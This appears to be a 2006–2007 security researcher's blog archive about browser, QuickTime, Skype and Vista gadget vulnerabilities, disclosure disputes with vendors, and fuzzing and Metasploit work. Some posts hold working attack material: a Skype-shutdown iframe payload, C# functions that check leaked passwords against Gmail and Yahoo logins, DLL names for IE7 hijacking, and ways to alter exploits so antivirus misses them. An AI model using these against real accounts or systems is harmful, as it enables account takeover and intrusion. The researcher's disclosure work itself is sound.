The second vulnerability was in the RSS Feeds gadget. I've reported this vulnerability to Microsoft through iDefense VCP program. iDefenst have recently published their own advisory for this vulnerability.

Microsoft have decided to rate these vulnerabilities with "Important" severity. This is because that according to Microsoft's rating system, they rate a vulerability as "Critical" only when the exploitation of the vulnerability could allow a propagation of a worm without user interaction.

Not rating the RSS gadget vulnerability as "Critical"  might make sense in the old era of "Web 1.0". But on today's "Web 2.0" era,  an Internet Worm can be easily propagated by exploiting this vulnerability.

Think about the following scenario:
1) User Joe is subscribed to digg.com's "Upcoming Stories" RSS feed.
2) The attacker adds a malicious item to digg.com. When the vulnerable RSS gadget fetches the malicious item, it infects Joe's computer with a malicious Trojan worm.
3) Joe is a major blogger at myblog.com. The malicious trojan worm identifies that Joe has a myblog.com cookie, and automatically adds a malicious post to his blog.
4) User Juliet reads Joe's blog regularly, as she's one of the thousands people who subscribe to Joe's blog RSS feed. Juliet also gets infected by the Trojan worm, when her vulnerable RSS gadget automatically fetches the malicious post.
5) Juliet is a known writer at FamousPeople.com magazine. She uses a standard online content management system to publish her stories. Again, the malicious Trojan worm identifies the content management system, and automatically post a fake story about Paris Hilton, which of-course includes a malicious payload.
6) User Dan is a fan of Paris Hilton. But, instead of using the FamousPeople.com RSS feed, he subscribe to Google News RSS feed with all Paris Hilton related news. When Google News spiders FamousPeople.com it automatically adds the malicious story to the RSS feed, and Dan gets infected too.
7) For Dan, the malicious worm sends a malicious payload as an email to all his contacts which uses webmail (e.g. GMail). Why? You guessed it right. The webmail systems also support RSS feeds. So, now all of Dan's contacts who fetch their mail as RSS feed and use a vulnerable RSS gadget are in danger...
8) Etc. etc. etc.

As you can see from this scenario, when it comes to a vulnerability in an RSS reader, an internet worm becomes very realistic.
Fortunately, this vulnerability has already been fixed by MS. Unfortunately, it took them almost 6 month to fix one line of code in a non-core component.
If you are using Windows Vista, I encourage you to update your machine as soon as possible, or stop using the Windows Vista Sidebar.

For those of you who develop gadgets, I recommend to read Microsoft's "Inspect Your Gadget" document. Although it is not perfect, this document should give you some hints on how to develop a more secure gadget.

 


Thursday, August 16, 2007 6:40:26 PM UTC | Comments [0] | Security#
Wednesday, August 01, 2007

August has arrived, and it's time for Black Hat and Defcon. So, here I am. Hello to you all from Vegas.

If you are here for Defcon, please make sure you don't miss my presentation on widgets and gadgets insecurity.

We are going to demo malicious proof of concept and vulnerabilities in several widgets. From web widgets in iGoogle and Live.com, through Yahoo widgets, to Vista sidebar's gadgets.

If you are going to watch this presentation, please send your comments/flames here.

Thanks :)

 


Wednesday, August 01, 2007 7:07:10 PM UTC | Comments [2] | Security#
Tuesday, July 10, 2007

Today, Thor exposed a way to execute code from remote, if you have both IE and Firefox installed on your machine.

This is done by cross application scripting. He used an iframe in IE which refers to a protocol handler that was registered by Firefox, in order to open the latter browser and inject a script in an elevated privileges (chrome) mode.

Now the question is, whose fault is it? Is it an Internet Explorer problem or a Firefox problem?

Well, past experience shows that this is not the first time IE suffered from cross application scripting. Inge Henriksen demonstrated a way to attach arbitrary files to outlook messages using IE and cross application scripting.

Thor himself found a remote code execution vulnerability in Safari for Windows using cross application scripting.

Lately, I've noticed that it is possible to shutdown Skype from remote, in the same way:

 
<iframe src='skype:" /shutdown'></iframe>
 

An online PoC can be found here (be careful, clicking this link will also close all your opened Skype chat sessions!)

Back to the IE/FF problem. So, who should to fix this issue? I think both.

Mozilla should fix the way they register the "FirefoxURL:" protocol handler, and Microsoft should sanitize the parameters they pass to external applications.

What do you think?


Tuesday, July 10, 2007 7:57:34 PM UTC | Comments [2] | Security#
Saturday, June 16, 2007

The phishing hole in Internet Explorer 7 that I've disclosed 3 months ago was fixed by Microsoft's June security update.

The following was the vulnerable code in ieframe.dll resource file:

The patch changed the refresh javascript URL to call to a new clickRefresh() function, as follows:

The clickRefresh() function then validates that the address after the # sign is considered safe for navigation, before it replaces the location with this address.

Although this change closes the XSS vulnerability, I still don't understand why Microsoft consider local file access URLs (file://) as safe for navigation.. I hope this doesn't open another hole.

In other news, a new phishing hole in Safari for Windows was disclosed by Robert Swiecki in a Full Disclosure post. He also included a proof of concept which works on the new patched version (v3.0.1) of Safari.

My suggestion remains to wait for the final release before you consider using this "secured from day one" browser.

 


Saturday, June 16, 2007 10:05:50 PM UTC | Comments [0] | Security#
Thursday, June 14, 2007

Few hours ago, Apple released a new minor version (v3.0.1 Beta) of Safari for Windows.

From Apple's advisory:


CVE-ID: CVE-2007-3185 Available for: Windows XP or Vista Impact: Visiting a malicious website may lead to an unexpected application termination or arbitrary code execution Description: An out-of-bounds memory read issue in Safari 3 Public Beta for Windows may lead to an unexpected application termination or arbitrary code execution when visiting a malicious website. This issue does not affect Mac OS X systems.


I've tested the new version by running Hamachi again. Apparently, this version fixes the vulnerability.

This patch also fixes the command injection vulnerability that was found by Thor.

Apple decided not to credit any of the security researchers in their advisory, and I don't think this is a smart move.

 


Thursday, June 14, 2007 4:56:04 PM UTC | Comments [1] | Security#
Monday, June 11, 2007

Apple has just released a public beta of its Safari browser for Windows.

On the download page Apple write: "Apple engineers designed Safari to be secure from day one".

 

So, I've decided to take it for a test drive, and ran Hamachi. I wasn't surprised to get a nice crash few minutes later...

A first glance at the debugger showed me that this memory corruption might be exploitable. Although, I'll have to dig more to be sure of that.

Again, this is just a beta version.. But, don't you hate those pathetic claims?

[UPDATE]: David Maynor and Thor Larholm have found several more security vulnerabilities in Safari for Windows. I guess we can now call it "Day zero"...


Monday, June 11, 2007 9:19:46 PM UTC | Comments [2] | Security#
Tuesday, March 27, 2007

Version 3.0 of the exploits framework, Metasploit, is now officially released:

"...The Metasploit Framework ("Metasploit") is a development platform for creating security tools and exploits. Version 3.0 contains 177 exploits, 104 payloads, 17 encoders, and 3 nop modules. Additionally, 30 auxiliary modules are included that perform a wide range of tasks, including host discovery, protocol fuzzing, and denial of service testing..."

Now that Metasploit 3.0 is out, you can expect a first alpha version of VoMM very soon.


Tuesday, March 27, 2007 8:08:24 AM UTC | Comments [0] | Security#
Sunday, March 18, 2007

One of the comments for my post on the phishing hole in IE7 was that the anti-phishing tool of the browser will detect scams exploiting this vulnerability, because it will check the external javascript reference (e.g. In my PoC - http://www.raffon.net/research/ms/ie/navcancl/phish.js). I’m not an IE7 anti-phishing  internals guru, so I’ve decided to test it.
I’ve searched for a list of live phishing sites and found millersmiles.co.uk anti-phishing service. From the list I chose http://pqpal.com/cgi-bin/index.htm, which is a paypal phishing page.  IE7’s anti-phishing tool reports this as a phishing website.
To be able to use this phishing URL in my test, I’ve created a local DNS entry for pqpal.com and set it to my local web server.
To verify that the anti-phishing tool actually works with this local DNS entry, I’ve loaded the phishing URL in IE7, and got the phishing warning page again.
Next, I’ve created index.htm file under cgi-bin directory on my local web server. This file simply contains: alert(“Hello from phishing site!”);
For the proof-of-concept, I’ve created a HTML file with a reference to the external script - http://pqpal.com/cgi-bin/index.htm. When I’ve loaded this HTML file in IE7,  I got the “Hello from phishing site!” alert box, and no indication that this comes from a phishing URL.
This means that IE7 anti-phishing tool DOES NOT block pages with external scripts that points to a flagged URL. So, unless Microsoft will flag the navcancl.htm local resource as a phishing page, I see no other way for IE7 anti-phishing tool to detect phishing scams exploiting this vulnerability.
Again, until this vulnerability is fixed by Microsoft, do not trust any link in the “Navigation Canceled” page.

The proof-of-concept HTML file can be found here.


Sunday, March 18, 2007 8:39:12 AM UTC | Comments [2] | Security#
Wednesday, March 14, 2007

Summary
Internet Explorer 7.0 is vulnerable to cross-site scripting in one of its local resources. In combination with a design flaw in this specific local resource it is possible for an attacker to easily conduct phishing attacks against IE7 users.

Affected versions
• Windows Vista - Internet Explorer 7.0
• Windows XP - Internet Explorer 7.0

Technical Details
The navcancl.htm local resource is used by the browser when for some reason a navigation to a specific page is canceled.
When a navigation is canceled the URL of the specific page is provided to the navcancl.htm local resource after the # sign. For example: res://ieframe.dll/navcancl.htm#http://www.site.com.  The navcancl.htm page then generates a script in the “Refresh the page.” link in order to reload the provided site again when the user clicks on this link.
It is possible to inject a script in the provided link which will be executed when the user clicks on the “Refresh the page.” link.
Luckily, Internet Explorer now runs most of its local resources (including navcancl.htm) in “Internet Zone”, so this vulnerability cannot be exploited to conduct a remote code execution.

Unfortunately, there is also a design flaw in IE7. The browser automatically removes the URL path of the local resource and leaves only the provided URL. For example: when the user visits res://ieframe.dll/navcancl.htm#http://www.site.com, IE7 will show http://www.site.com in the address bar.

To perform a phishing attack, an attacker can create a specially crafted navcancl.htm local resource link with a script that will display a fake content of a trusted site (e.g. bank, paypal, MySpace).
When the victim will open the link that was sent by the attacker, a “Navigation Canceled” page will be displayed. The victim will think that there was an error in the site or some kind of a network error and will try to refresh the page. Once he will click on the “Refresh the page.” link, The attacker’s provided content (e.g. fake login page) will be displayed and the victim will think that he’s within the trusted site, because the address bar shows the trusted site’s URL.


Proof-of-Concept

A CNN.com article spoofing proof-of-concept can be found here.
If you are not using IE7, you can watch a demonstration video here.

Workaround / Suggestion
Until Microsoft fixes this vulnerability, do not trust the “Navigation Canceled” page!

 


Wednesday, March 14, 2007 11:47:09 AM UTC | Comments [20] | Security#
Saturday, March 10, 2007

Whether the vulnerability is cross-site scripting, cross-domain scripting or cross-zone scripting, sooner or later an attacker will need to inject a code in order to exploit it. The difference between each of these types is the context.

When we talk about a cross-site or cross-domain scripting vulnerabilities, we mean that an attacker can execute the injected code within the context of a different internet site or domain. However, when an attacker exploits a cross-zone scripting vulnerability, the context is now changed from an internet site to an intranet site, or even worse - pages in local zone.

Intranet sites and pages running in local zone are often and by default run with less security restrictions than internet sites. This means that if an attacker can execute his own code in intranet site or local zone, he will eventually be able to execute malicious code on the victim's machine.

A good example for the difference between those vulnerability types is the quicktime vulnerability that was found by pdp. When this vulnerability was exploited by the Myspace worm, this was a cross-site vulnerability. Only internet sites were involved, and it was used to steal MySpace accounts information. In MoAB#3, I've introduced a way to exploit this vulnerability in the context of local-zone. This means, that it is now a cross-zone scripting vulnerability, and an attacker can use quicktime to execute malicious code on the user's machine.
MoAB#3 also used another vulnerability found by hdm in one of the local resources of Win2k. As Internet Explorer restricts linking to local resources (res:// files), I used quicktime to do it.

Lately, I've found that it is possible to open a local resource in Internet Explorer without the need for any additional plug-in (like quicktime). By using a simple redirection header, an attacker can link and open a local resource and bypass Internet Explorer's restriction. I've tested this on IE6 SP2, IE7 and IE7 on Vista.
Now, this alone might not be a big issue, as Microsoft now runs most of the local resources in the Internet Zone, but it might be used to perform other types of cross-site scripting attacks.

 


Saturday, March 10, 2007 11:26:18 PM UTC | Comments [1] | Security#
Friday, January 26, 2007

Almost two weeks after I've sent the first mails, and after sending two more follow-up mails asking if there are any updates regarding this issue, I got only one more response - from Google.
Google's response was somewhat vague:


Hello,
Thanks for your report. We apologize for any inconvenience this may have caused.
When we are notified of such issues, we investigate and take appropriate action if we find that the Gmail Terms of Use have been violated. To read the Gmail Terms of Use, please visit:
http://mail.google.com/gmail/help/terms_of_use.html.
We appreciate your concern, and thank you for taking the time to send us your comments.
Sincerely,
The Google Team


From Gmail’s terms of use:  “…Before you register for your Gmail account, you must read and agree to these Gmail Terms of Use and the following terms and conditions and policies, including any future amendments…”.

I’m not an attorney and I didn’t go to any law school, but from what I can understand from the first line of the terms is that  these “terms of use” are only for Gmail registered users.  So, if an attacker will brute force the MySpace phishing list and will find a valid Gmail username/password and use it, he will not violate these terms because he hasn’t registered to that account and therefore he doesn’t need to read or agree to the terms. I’ve sent this comment to Google.

I'm still waiting for a respond from Yahoo and Microsoft.
Again, to demonstrate how easy it is to extract a valid username/password from the phishers list, the following is a modified version of the Gmail account validator. This time, for Yahoo! Mail:

// Returns 1 if valid username/password, 0 if invalid, -1 if unknown
private static int IsValidYahooMailLogin(string username, string password)
{
   HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create("https://login.yahoo.com/config/login?");
   request.CookieContainer = new CookieContainer();
   request.Method = "POST";
   request.Referer = "https://login.yahoo.com/config/login?";
   request.ContentType = "application/x-www-form-urlencoded";
   string data = ".tries=2&.src=ym&.md5=&.hash=&.js=&.last=&promo=&.intl=us&.bypass=&" +
".partner=&.u=chn9vfp2qnpl1&.v=0&.challenge=&.yplus=&.emailCode=&pkg=" +
"&stepid=&.ev=&hasMsgr=1&.chkP=Y&.done=http%3A%2F%2Fmail.yahoo.com&.pd=ym_ver%253d0&login="
+ username + "&passwd=" + password + "&.save=Sign+In";
   request.ContentLength = data.Length;
   StreamWriter reqStream = new StreamWriter(request.GetRequestStream());
   reqStream.Write(data, 0, data.Length);
   reqStream.Close();
   HttpWebResponse response = (HttpWebResponse)request.GetResponse();
   StreamReader sr = new StreamReader(response.GetResponseStream());
   string resp = sr.ReadToEnd();
   sr.Close();
   response.Close();
   return (resp.IndexOf("location.replace") > -1) ? 1 : (resp.IndexOf("Invalid ID or password.") > -1 || resp.IndexOf("This ID is not yet taken.") > -1) ? 0 : -1;
}


Friday, January 26, 2007 3:15:30 PM UTC | Comments [0] | .NET | Security#
Tuesday, January 16, 2007

Yesterday, a huge list of MySpace accounts’ usernames and passwords was revealed to the public. This list was harvested by phishers.
Most of those MySpace accounts’ usernames are emails of the following webmail accounts: GMAIL, Hotmail, Yahoo! Mail and AOL.
Some of those poor MySpace users are probably using the same password in their MySpace account for their webmail account, and probably for other web services too (ebay/Amazon/etc).
Brute forcing those web services to extract the valid credentials from the phishers list is very easy. So, I’ve decided to first contact the webmail vendors (Google, Microsoft, Yahoo and AOL) and ask them to analyze the phishers list against their own database in order to warn the poor users to change their passwords as soon as possible.
Over 21 hours later, and only AOL have responded to my suggestion/request.
AOL's response (10 minutes after I’ve sent the mail!) :


Hi Aviv,

Thank you for the notification.  We noticed this on the Full-Disclosure list as well.  We will do everything we can to protect these users.

Thank you,

Kent L.
AOL Product Vulnerabilities


Just to demonstrate how easy is to extract the valid username/password from the phishers list, the following are 20 lines of C# code which validates username and password of a GMAIL account:

// Returns 1 if valid username/password, 0 if invalid, -1 if unknown
private static int IsValidGmailLogin(string username, string password)
{
   HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create("https://www.google.com/accounts/ServiceLoginAuth");
   request.CookieContainer = new CookieContainer();
   request.Method = "POST";
   request.Referer = "https://www.google.com/accounts/ServiceLogin";
   request.ContentType = "application/x-www-form-urlencoded";
   string data = "?service=mail&Email=" + username + "&Passwd=" + password + "&rm=false&null=Sign%20in&continue=https://mail.google.com/mail?ui=html&amp;zy=l";
   request.ContentLength = data.Length;
   StreamWriter reqStream = new StreamWriter(request.GetRequestStream());
   reqStream.Write(data, 0, data.Length);
   reqStream.Close();
   HttpWebResponse response = (HttpWebResponse)request.GetResponse();
   StreamReader sr = new StreamReader(response.GetResponseStream());
   string resp = sr.ReadToEnd();
   sr.Close();
   response.Close();
   return (resp.IndexOf("location.href") > -1) ? 1 : (resp.IndexOf("<form action=\"LoginAuth\"") > -1) ? 0 : -1;
}


Tuesday, January 16, 2007 7:04:06 PM UTC | Comments [1] | .NET | Security#
Friday, January 05, 2007

As I’ve already mentioned in the third "Month of Apple Bugs" advisory, the QuickTime HREFTrack feature, which was exploited in the last MySpace worm, is vulnerable to cross-zone scripting attacks.
Landon Fuller, who have decided to publish fixes for the bugs disclosed in the "Month of Apple Bugs", has provided a fix for this vulnerability a few hours after it was published.
This fix, which blocked referencing the javascript protocol handler in the HREFTrack attribute, was aimed to fix the cross-site scripting vulnerability. Again, this specific vulnerability was previously disclosed by pdp, and was exploited in the MySpace worm. This is a different vulnerability, and although this fix was better than the fix apple provided (which probably only prevented the MySpace worm), it didn’t fix the vulnerability I disclosed in MoAB #3.

Today, after exchanging mails with Landon Fuller, he published a new version of this fix. This time, instead of black-listing the javascript protocol handler, he white-listed only the protocol handlers that were supposed to be referenced in the HREFTrack attribute (http, https and ftp).

This updated fix, although it seems to be only for Macintosh users, should prevent exploitation of this issue on that platform. Good job Landon!
We’ll now have to wait for an official cross-platform fix from Apple, or maybe a cross-platform “Month of Apple Fixes” initiative.

P.S.
This fix patches the rNPN_GetURL() function. If this patch is global for both the QuickTime plug-in and the QuickTime player, it should also prevent exploitation of the .qtl cross-zone scripting vulnerability that was also previously disclosed by pdp.


Friday, January 05, 2007 10:02:51 AM UTC | Comments [5] | Security#
Wednesday, January 03, 2007

A month ago, a vulnerability in QuickTime was exploited to spread a worm in MySpace. The vulnerability was first published by pdp. In his article, pdp describes how HREFTrack attribute in .mov files can be used for malicious scripting. The MySpace worm abused this vulnerability in a cross-site scripting attack vector.

This MoAB issue shows that this vulnerability can also be used in a cross-zone scripting attack which could allow, in combination with other vulnerabilities, to remotely execute arbitrary code on the user's machine, as well as disclosure of the filesystem contents.

Proof-of-Concept code and more information can be found at MoAB #3.


Wednesday, January 03, 2007 10:38:19 PM UTC | Comments [2] | Security#
Monday, January 01, 2007

Happy new year! "Month of Apple Bugs" is here!

Enjoy the first vulnerability: Apple Quicktime rtsp URL Handler Stack-based Buffer Overflow.

More to come...


Monday, January 01, 2007 6:59:39 PM UTC | Comments [1] | Security#
Saturday, December 23, 2006

Alex Eckelberry, a really nice guy from Sunbelt Software, has blogged about my last IE7 finding. After exchanging some mails with him about this vulnerability, he also posted our conversation.

Although we do not agree on this issue, his point of view is really worth a read.

Thanks Alex :)


Saturday, December 23, 2006 10:47:29 AM UTC | Comments [1] | Security#
Thursday, December 14, 2006

It has been over a month since my last post regarding the IE7 vulnerability. Thailand is really an amazing place for a honeymoon J.
The feedbacks to this issue were mixed. Some said it's an issue that should be fixed as soon as possible, other said it's a minor issue, a hoax or just "old news".

Well, although I did not give the full information in my last post, it is definitely not a hoax, and as far as I know (and Google knows) no one ever informed about this specific issue in Internet Explorer.
As a workaround, Thierry Zoller suggested that the “Enable Safe DLL Search Order” feature should be enabled.
Other informed that the Desktop folder is not in the user’s PATH by default. While this is true, the behavior of the “DLL Search Order” (when it’s disabled) is to look for the DLL in the current directory, right after the Internet Explorer’s directory. As most users execute Internet Explorer from the Desktop, the current directory will be of course the user’s Desktop (see screenshot below).

The following DLL file names can be used to exploit the IE7 DLL-load hijacking vulnerability:
• sqmapi.dll
• imageres.dll
• schannel.dll

A Proof-of-Concept code for this vulnerability can be found at milw0rm.



Thursday, December 14, 2006 9:36:01 AM UTC | Comments [7] | Security#
Wednesday, November 01, 2006

So, Microsoft has released version 7.0 of Internet Explorer a few weeks ago. The new version introduced some nice security features like "ActiveX opt-in", "Better add-on management", "Phishing filter" and more. But even with those new security features, IE7 is still heaven for spyware writers.

The new version of Internet Explorer is vulnerable to a DLL-load hijacking. When IE7 is executed it will load several DLL files. While trying to load some of those files, it does not provide the full path of the DLL file to the function which loads the DLL file to the memory, and therefore Windows will search for this file in the user's machine using the directories provided in the PATH environment variable, and will load the first match it will found.

Today, most desktop security products include a generic detection for changes in the startup folder and startup registry keys, in order to catch malicious code trying to load when the users boot his machine.

Now, all the attacker has to do to bypass this detection is to put a malicious DLL file (or just a downloader DLL of a malicious file) in one of the PATH directories (e.g. the user's desktop), and the next time the user will run IE7 the code of the attacker's file will be executed instead of the original DLL file.

Moreover, the attacker can hide the DLL file, by setting an hidden file attribute. As most users have the option of not showing hidden files enabled (this is the default settings), it will not show them the malicious file on the user's desktop, but still IE7 will load the DLL file.

This vulnerability also can be used instead of registering Browser Help Objects (which some of the security products also monitor), as the DLL will run in the context of IE7 process.

I've reported this to Microsoft few days ago. Their response: "If the attacker can put a dll on the box in a location that is in the user's PATH variable, then they already own the box. ".
While this is true in most cases, the user will still think he is secure with his desktop security products installed, which is not true as this vulnerability allows spyware writers to execute code automatically without changing startup and BHO information.

As Microsoft intends to fix this issue only in future releases of their OS (according to their response), I encourage security vendors to update their products to detect this behavior as soon as possible.


Wednesday, November 01, 2006 8:57:06 PM UTC | Comments [0] | Security#

Month of Kernel Bugs has started by L.M.H. at the "Kernel Fun" blog.

First bug: "Apple Airport 802.11 Probe Response Kernel Memory Corruption". Enjoy :)


Wednesday, November 01, 2006 7:59:46 PM UTC | Comments [0] | Security#
Sunday, October 15, 2006

Exploits for browser vulnerabilities are here to stay.
Most security products today are using reactive methods (signatures) to detect the specific exploit, instead of trying to detect the general case of the vulnerability exploitation. Evading those signatures is very easy, as I already showed.

The methods I presented were simple and very specific to the VML vulnerability. H.D. Moore have implemented some of these methods in his Metasploit's VML exploit module. Others were implemented in old browser exploit modules, like the createTextRange exploit module.

H.D. Moore, LMH, and I have decided to generalize the evasion methods and package them all into one project.

Introducing: VoMM (eVade-o-Matic Module for metasploit) - Taking browser exploits to the next level.

The purpose of this project is to create a module for Metasploit that will take any given browser exploit and make it as undetectable as possible.

Currently, most Anti-Viruses signatures relies on "variants". Meaning, any little change in the malicious code is considered by the AV as a new variant.
The VoMM project shows that this procedure cannot be applied to browser exploits, as each exploit can have endless number of "variants" with no change to the server side code.

More detailed information about the VoMM project, and the evasion techniques that were implemented, can be found in LMH's info-pull blog.   


Sunday, October 15, 2006 3:14:51 PM UTC | Comments [5] | Security#
Monday, September 25, 2006

The code for exploiting the unpatched VML vulnerability is in-the-wild for a week or so. This was enough time for Anti Virus, IPS/IDS and other reactive security products' vendors to create a signature for the in-the-wild exploit.
So, I put my hand on one of the in-the-wild and tested it using Virus Total. The results were not so good. Only 10 of 27 Anti-Viruses detected the exploit on the malicious web page.
According to ISC diary: "Some reports indicate that client-side anti-virus is not sufficient to protect, some AV apparently only catches the VML exploit code once Internet Explorer writes the temp file to disk, which can be too late.".
Now, what if the exploit is detected by the AV signatures? Are those signatures generic enough? I've decided to check it out.

I've used 5 simple methods, trying to evade being detected by the signature:
1) I've replaced the location where EIP should jump when the exploit is activated, with a different valid address.
2) I've replaced the VML element from "rect" with one of the other VML elements.
3) I've replaced the payload with a different valid shell code.
4) I've replaced the namespace key with a random key.
5) A combination of all of the above.

Please note that when I changed the code using any of the methods, the exploit still worked.

The following is the results of each evasion method, when tested using Virus Total:
1) Only 8 of the 10 Anti-Viruses detected the exploit.
2) Only 6 of the 10 Anti Viruses detected the exploit.
3) Only 5 of the 10 Anti-Viruses detected the exploit.
4) Only 5 of the 10 Anti-Viruses detected the exploit.
5) Only 1 (one!) of the 10 Anti-Viruses detected the exploit.

IPS/IDS vendors also wrote signatures for detecting exploitation of the VML vulnerability.
According to a post in the Bleeding Edge Snort forums: "this signature 2003106 that should detect a vml exploit is a bit too generic." .
I say the opposite! The signature is too specific. It can be easily bypassed, by using method 2 or method 4.

As you can see, evading AV/IPS/IDS signatures of web page exploits is too easy.

P.S. Randomization of any of the evasion methods (e.g. using a random VML element) can be implemented by using server side scripting.

[UPDATE:] H.D. Moore has published a new metasploit module for the VML vulnerability. This module uses evasion methods 2 and 4. It also uses an evasion technique I did not mention - Randomizing javascript variables. So, it will probably not be detected by most AV/IPS/IDS signatures.
[UPDATE2:] According to H.D. Moore, the new module is not detected by any of the current AV/IPS/IDS signatures. Virus Total test confirms this.


Monday, September 25, 2006 12:13:58 AM UTC | Comments [4] | Security#
Monday, August 21, 2006

As I already reported, I've found a vulnerability in AOL Security Toolbar, which could allow an attacker to control the user's toolbar configuration options from remote.

Within 1 (one) day, AOL replied by email, confirmed the vulnerability and delivered a fixed version. Wow, very fast response!

I've verified that this fix actually plugs the hole. Good job Spencer!

So, I recommend to anyone who use the AOL Security Toolbar to update to the latest version.

To know which version you are using, go to Left Button Arrow -->  Help --> "About AOL Security Toolbar". The vulnerable version is: Version 1.11 (08-03-06).

If you are using this version, and have not received (or ignored) the message asking you to update your toolbar, you can manually update by going to Left Button Arrow --> "Update Toolbar...". You should be notified if you use the latest version of the AOL Security Toolbar.

But just to be sure, the version that is not vulnerable is: Version 1.13 (08-18-06).

I will update this post on Friday with a proof-of-concept exploit for this vulnerability.

 


Monday, August 21, 2006 8:39:05 PM UTC | Comments [1] | Security#
Friday, August 18, 2006

March 2004: Softomate Toolbar is classified as an adware by CA.

~November 2004: Softomate Toolbar is classified as an adware by Kaspersky.

March 2005: Softomate Toolbar is classified as an adware by McAfee.

Early August 2006: AOL uses Softomate for the "AOL Security Toolbar", which is bundled (and installed by default) in their free Anti-Virus package.

Late August 2006: Security vulnerability was found in the "AOL Security Toolbar", reported and confirmed by AOL.

More info: AOL Security Tools Raise Adware Questions


Friday, August 18, 2006 6:34:52 PM UTC | Comments [0] | Security#
Monday, August 14, 2006

I was more than happy to help HD Moore with MoBB, and provided some nice browser bugs for this project.

One of those bugs was "MoBB #30 - Orphan Object Properties". This bug occurs when referencing an object that was created inside an object data window inside a frame, and then relocating the frame to a different position, leaving the created object orphan.
I've found this bug while creating a subset of the Hamachi fuzzer. So, I've decided to create a specific fuzzer that will find all possible orphan object referencing bugs. I've actually found over 15 crashes involving 8 different objects.

Last Tuesday Microsoft released a cumulative security update for Internet Explorer, MS06-042. I was surprised to find out that they were quick to fix the orphan objects issue, with no mention of fixing this vulnerability in the security bulletin.

As this vulnerability was silently patched and the orphan objects' bugs cannot be exploited anymore, I've decided to stop my research on this issue and I'm releasing the fuzzer to the public.
The Orphan Objects Fuzzer can be downloaded from here. An online version of the fuzzer can be found here.


On the other hand, this cumulative security patch included another patch for the "COM Object Instantiation Memory Corruption Vulnerability". Those patches (the first was MS05-038) are actually a workaround for the real problem. Instead of fixing the browser's code, Microsoft has decided to update IE's kill-bit repository with the problematic COM objects' CLSIDs.

By now, all they did is to add CLSIDs of the operating system's COM objects. What they forgot is that their user base includes a lot of PCs with 3rd party COM objects installed. Some of them (e.g. Yahoo Messenger, AOL's new Anti-Virus' Security Toolbar, and more) can be used to exploit the same vulnerability.

I don't know if they did this on purpose, or because they were not aware of the 3rd party issue. I can only hope they are going to fix this vulnerability, which is known for over 10 months now, and this time for real.

P.S. AOL's new security toolbar is not playing nice in another point of view. I will discuss this on one of my next posts.


Monday, August 14, 2006 9:12:53 AM UTC | Comments [2] | Security#
Friday, July 28, 2006

Proof of Concept exploit for Firefox was published as part of HD Moore's "Month of Browser Bugs" (MoBB) project.

This PoC exploits a vulnerability which was fixed in version 1.5.0.5 of Mozilla Firefox.

All Firefox users are encouraged to upgrade their browser to the latest version.


Friday, July 28, 2006 6:17:24 PM UTC | Comments [0] | Security#
Monday, April 24, 2006

"...DOM-Hanoi is a community-developed utility for verifying browser integrity, written by H D Moore and Aviv Raff.
DOM-Hanoi will look for common DHTML implementation flaws by adding/removing DOM elements, in a similar way to the known Tower of Hanoi game..."

http://metasploit.com/users/hdm/tools/domhanoi/domhanoi.html


Monday, April 24, 2006 4:39:41 PM UTC | Comments [0] | Security#
Monday, April 10, 2006

"...CSSDIE is a community-developed utility for verifying browser integrity, written by H D Moore, Matt Murphy, Aviv Raff, and Thierry Zoller. CSSDIE will look for common CSS1/CSS2/CSS3 implementation flaws by specifying common bad values for style values..."

http://metasploit.com/users/hdm/tools/see-ess-ess-die/cssdie.html


Monday, April 10, 2006 6:20:38 PM UTC | Comments [0] | Security#
Saturday, April 01, 2006

On Thursday a new generation of the createTextRange exploit was released under Metasploit.

Few hours later, and an article was published on techweb, where AV vendor Fortinet claimed that this exploit is much faster (??) than the older exploits. And, probably after reading my blog post, older exploits caused the browser to freeze.

According to my tests using VirusTotal, Fortinet was the only AV vendor to create a signature for the new generation - JS/CreateTextRange.B!exploit.

Well, that was up until today, when a new revision for the createTextRange was published under Metasploit and Milw0rm.

The new revision demonstrates better AV/IDS evasion techniques, by using random variables/functions names, which apparently are included in the "generic" signatures of the AV and IDS vendors.

And no, this is not an April fool's day prank.

10 days (or less) left for the MS patch.

 


Saturday, April 01, 2006 9:56:28 PM UTC | Comments [0] | Security#
Thursday, March 30, 2006

Up until today, in the wild createTextRange() vulnerability exploits were not so silent.
The need to wait more than minute, while your web browser freezes, in order to get the exploit to be executed, was too much for the victims.
Most of the victims were probably shutting down the browser manually before the vulnerability was actually got exploited.

Introducing the Next Generation of the createTextRange() exploit from Metasploit.
This exploit uses a non-CPU consuming techniques in order to get a more silent exploitation.

Now that we have a new generation of exploit out there, we can only hope MS will be fast enough to deliver an out-of-cycle security update for the createTextRange() vulnerability.

P.S. This exploit will also evade most "generic" AV and IPS detections which are mostly looking for specific tokens from the old proof-of-concept script, instead of using a real heuristic detection.


Thursday, March 30, 2006 8:57:15 AM UTC | Comments [0] | Security#
Friday, March 24, 2006

"...Hamachi is a community-developed utility for verifying browser integrity, written by H D Moore and Aviv Raff. Hamachi will look for common DHTML implementation flaws by specifying common "bad" values for method arguments and property values..."

http://metasploit.com/users/hdm/tools/hamachi/hamachi.html
Friday, March 24, 2006 7:34:51 AM UTC | Comments [1] | Security#
Wednesday, March 22, 2006

In about a week and a half, three new Internet Explorer security holes were publicly disclosed:

- 13-Mar-06: Jeffrey van der Stad informed about a vulnerability in IE which allows running HTA files without the user's permission.
- 16-Mar-06: Michal Zalewski introduced a Proof-of-Concept of a vulnerability in the way IE handles a large number of events in a single HTML tag.
- 22-Mar-06 (Today): A memory corruption vulnerability was disclosed in Full-Disclosure by Stelian Ena (although he claims it to be a "well known issue").
The problem is with the way IE calls the createTextRange method from a CheckBox control. According to MSDN, the CheckBox control should not have the createTextRange method.
The published Proof-of-Concept will only crash the browser. But, I've managed to create another Proof-of-Concept (which I WILL NOT publicly disclose just yet), and it seems that this memory corruption vulnerability is exploitable for a remote code execution on a fully patched XP SP2. It might also be exploitable on other windows operating systems.

Too many holes in such a short time... We can only hope MS will take these problems seriously and provide a patch soon.

[UPDATE:] "Computer Terrorism (UK) :: Incident Response Centre" have published an advisory for the createTextRange vulnerability. They also confirm a production of a Proof-of-Concept, and that they already notified Microsoft about this issue.

[UPDATE2:] Secunia has also reported on this issue. This time about the Radio Control.

I would like to add that 3 types of input controls can be used to exploit this vulnerability: CheckBox, Radio (as already reported) and Image control (<input type="image">).

[UPDATE3:] Microsoft has published a security advisory for the createTextRange vulnerability.

